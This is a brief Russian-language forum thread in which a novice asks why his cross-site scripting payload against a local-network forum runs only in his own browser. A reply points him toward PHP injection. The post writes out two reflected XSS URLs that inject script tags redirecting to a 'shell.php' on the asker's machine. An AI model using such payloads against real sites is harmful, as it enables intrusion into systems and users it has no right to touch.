Межсайтовый вызов скрипта
 

Хай, пиплс!
Помогите нубу разобраться...

Пытаюсь удаленно обращаться с форума в локалке на скрипт на своей та4ке и хз 4е не выходит =(


http://10.8.1.207/showforum.php?fid="><script>location.href="http://10.8.1.119/shell.php"</script>
или
http://10.8.1.207/showforum.php?fid="><script>window.open("http://10.8.1.119/shell.php")</script>

Может я в 4ем-то не врубаюсь, но этот код выполняется с правами клиента в моем браузере, а как замутить, 4тобы он исполнялся с правами системы на машине форума???

[QUOTE]В данном случае никак, поскольку ты описываешь javascript-injection, а тебе нужно php-injection.

[QUOTE=Algol]Сенкс, теперь более-менее разобрался...